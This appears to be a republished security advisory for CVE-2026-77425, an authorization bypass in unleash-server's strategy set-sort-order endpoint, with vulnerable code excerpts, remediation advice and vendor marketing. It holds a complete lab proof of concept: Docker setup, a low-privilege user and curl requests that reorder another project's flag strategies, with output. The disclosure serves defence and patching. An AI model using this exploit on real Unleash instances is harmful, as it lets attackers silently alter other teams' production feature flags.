Summary
Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log
Unleash scopes write permissions per project and per environment: a user with the UPDATE_FEATURE_STRATEGY permission on project A is supposed to be able to mutate activation strategies only within project A. The endpoint POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order violates this. The RBAC middleware authorizes the request against the :projectId taken from the URL, but the handler then writes the strategy IDs supplied in the request body directly to the database by primary key, without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment. A low-privilege member of any one project can therefore reorder the activation strategies of features in any other project and environment, including projects they have no role on at all, by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.
The sibling write paths in the same service (updateStrategy, patchStrategy, deleteStrategy) all call validateUpdatedProperties(), which rejects a strategy whose stored projectId/featureName does not match the URL context. The set-sort-order handler is the one sibling that omits this check, an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy "wins" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the attacker's project/feature context, so the tampering does not appear in the victim project's audit trail.
Affected code (v8.0.0)
The route is registered with the project-scoped permission UPDATE_FEATURE_STRATEGY (correct), and the handler forwards the URL params as the "context" plus the raw request body:
src/lib/features/feature-toggle/feature-toggle-controller.ts
{
method: 'post',
path: `${PATH_STRATEGIES}/set-sort-order`,
handler: this.setStrategiesSortOrder,
permission: UPDATE_FEATURE_STRATEGY,
// ...
}
async setStrategiesSortOrder(req, res): Promise<void> {
const { featureName, projectId, environment } = req.params;
await this.transactionalFeatureToggleService.transactional((service) =>
service.updateStrategiesSortOrder(
{ featureName, environment, projectId }, // URL context only
req.body, // attacker-controlled [{id, sortOrder}]
req.audit,
),
);
res.status(200).send();
}
The service writes each body-supplied id directly. It reads the URL-context strategies only to build the audit-event payload (existingOrder/newOrder); it never validates that the IDs in sortOrders belong to that context:
src/lib/features/feature-toggle/feature-toggle-service.ts
async unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise<Saved<any>> {
const { featureName, environment, projectId: project } = context;
const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))
.sort(sortStrategies).map((s) => s.id);
// ...
await Promise.all(
sortOrders.map(({ id, sortOrder }) =>
this.featureStrategiesStore.updateSortOrder(id, sortOrder), // NO project/feature/env check
),
);
// ...event built from the URL context, not from the strategies actually mutated...
}
The store updates by primary key with no scoping predicate:
src/lib/features/feature-toggle/feature-toggle-strategies-store.ts
async updateSortOrder(id: string, sortOrder: number): Promise<void> {
await this.db<IFeatureStrategiesTable>(T.featureStrategies)
.where({ id })
.update({ sort_order: sortOrder });
}
Contrast the sibling mutators, which DO bind the target strategy to the URL context (validateUpdatedProperties throws InvalidOperationError when existingStrategy.projectId !== projectId or existingStrategy.featureName !== featureName):
// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:
const existingStrategy = await this.featureStrategiesStore.get(id);
this.validateUpdatedProperties(context, existingStrategy); // <-- the check set-sort-order is missing
Attacker model / precondition
The attacker is an authenticated Unleash user who holds the UPDATE_FEATURE_STRATEGY permission on at least one project, i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single default project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within default). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the stopWhenChangeRequestsEnabled gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the sort_order column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.
Proof of Concept (complete, runs on 127.0.0.1 only)
Lab only. Everything binds to 127.0.0.1; no hosted instance is touched. Requires Docker.
1. Start PostgreSQL and Unleash v8.0.0
docker network create unleash-poc
docker run -d --name unleash-pg --network unleash-poc \
-e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \
postgres:16-alpine
sleep 8
docker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \
-e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \
-e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \
-e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \
unleashorg/unleash-server:8.0.0
sleep 25
curl -s http://127.0.0.1:4242/health # {"health":"GOOD"}
2. Simulate a Pro/Enterprise (multi-project) deployment
Per-project roles and >1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the default project via an unrelated edition gate (resolveIsOss). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable set-sort-order code path). On a real Pro/Enterprise instance this step is unnecessary, multiple projects already exist.
# Force resolveIsOss() to return false (== "this is a Pro/Enterprise deployment").
docker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js
python3 - <<'PY'
s=open('/tmp/cc.js').read()
old=""" return testEnvironmentActive
? (isOssOption ?? false)
: !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';"""
assert old in s
s=s.replace(old," return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)")
open('/tmp/cc.js','w').write(s)
print("patched edition gate")
PY
docker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js
docker restart unleash-srv && sleep 22
3. Seed two projects (victim, attacker) and link them to environments
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');"
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO project_environments (project_id, environment_name) VALUES
('victim','development'),('victim','production'),
('attacker','development'),('attacker','production');"
4. Create the victim feature with two strategies, and an attacker feature
B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
H="-H Authorization:$ADMIN -H Content-Type:application/json"
curl -s -X POST $H $B/api/admin/projects/victim/features -d '{"name":"victimFlag","type":"release"}' >/dev/null
S1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
-d '{"name":"flexibleRollout","parameters":{"rollout":"10","stickiness":"default","groupId":"victimFlag"}}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
S2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
-d '{"name":"default","parameters":{}}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
echo "victim strategies: S1=$S1 (sort 0) S2=$S2 (sort 1)"
curl -s -X POST $H $B/api/admin/projects/attacker/features -d '{"name":"attackerFlag","type":"release"}' >/dev/null
curl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \
-d '{"name":"default","parameters":{}}' >/dev/null
5. Create a low-privilege attacker user (Member of attacker ONLY, no role on victim)
# Viewer root role (id 3) -> no project write anywhere by default.
curl -s -X POST $H $B/api/admin/user-admin \
-d '{"email":"[email protected]","name":"Mallory","rootRole":3}' >/dev/null
curl -s -X POST $H $B/api/admin/user-admin/2/change-password \
-d '{"password":"Str0ng-PoC-pass!9x"}' >/dev/null
# Grant the project "Member" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only.
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');"
docker restart unleash-srv && sleep 22 # pick up the seeded role
6. Run the attack
B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
CJ=/tmp/mallory.cookies; rm -f $CJ
# Log in as the low-priv user (Member of 'attacker' only).
curl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \
$B/auth/simple/login -d '{"username":"[email protected]","password":"Str0ng-PoC-pass!9x"}'
show() { curl -s -H "Authorization:$ADMIN" \
$B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
| python3 -c "import sys,json;[print(' ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]"; }
echo '--- victim/production BEFORE ---'; show
echo '--- [negative control] Mallory -> VICTIM url directly (expect 403) ---'
curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
$B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \
-d "[{\"id\":\"$S1\",\"sortOrder\":99}]"
echo '--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---'
curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
$B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \
-d "[{\"id\":\"$S1\",\"sortOrder\":42},{\"id\":\"$S2\",\"sortOrder\":7}]"
echo '--- victim/production AFTER ---'; show
Observed output
--- victim/production BEFORE ---
01KTYWRZM7ACCTQKPJJCXJB24R sort 0
01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1
--- [negative control] Mallory -> VICTIM url directly (expect 403) ---
HTTP 403
--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---
HTTP 200
--- victim/production AFTER ---
01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7
01KTYWRZM7ACCTQKPJJCXJB24R sort 42
The negative control proves RBAC correctly denies Mallory a direct write to victim (403). The attack proves that by naming her own attacker project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped), a write to a project she has no role on. A check of the events table after the attack shows no feature-strategy-update event was recorded for victimFlag, so the tampering is absent from the victim's audit trail.
Cleanup
docker rm -f unleash-srv unleash-pg; docker network rm unleash-poc
Impact
A project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team, e.g. promoting a permissive flexibleRollout/default strategy ahead of a restrictive userWithId/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no feature-strategy-update event for the victim feature at all), hampering detection and forensics.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-77425 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.0.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In unprotectedUpdateStrategiesSortOrder, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing validateUpdatedProperties(context, strategy) guard (the same one updateStrategy/patchStrategy/deleteStrategy already use) so a mismatched projectId/featureName throws; or (2) reject any sortOrders entry whose ID is not present in existingOrder (the set of strategy IDs that genuinely belong to {project, featureName, environment}), which the function already computes. Additionally, scope the store write, updateSortOrder should constrain the UPDATE with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.
Please credit 5ud0 / Tarmo Technologies.
Frequently Asked Questions
- What is CVE-2026-77425? CVE-2026-77425 is a medium-severity incorrect authorization vulnerability in unleash-server (npm), affecting versions < 8.0.3. It is fixed in 8.0.3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-77425? CVE-2026-77425 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of unleash-server are affected by CVE-2026-77425? unleash-server (npm) versions < 8.0.3 is affected.
- Is there a fix for CVE-2026-77425? Yes. CVE-2026-77425 is fixed in 8.0.3. Upgrade to this version or later.
- Is CVE-2026-77425 exploitable, and should I be worried? Whether CVE-2026-77425 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77425 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77425? Upgrade
unleash-serverto 8.0.3 or later.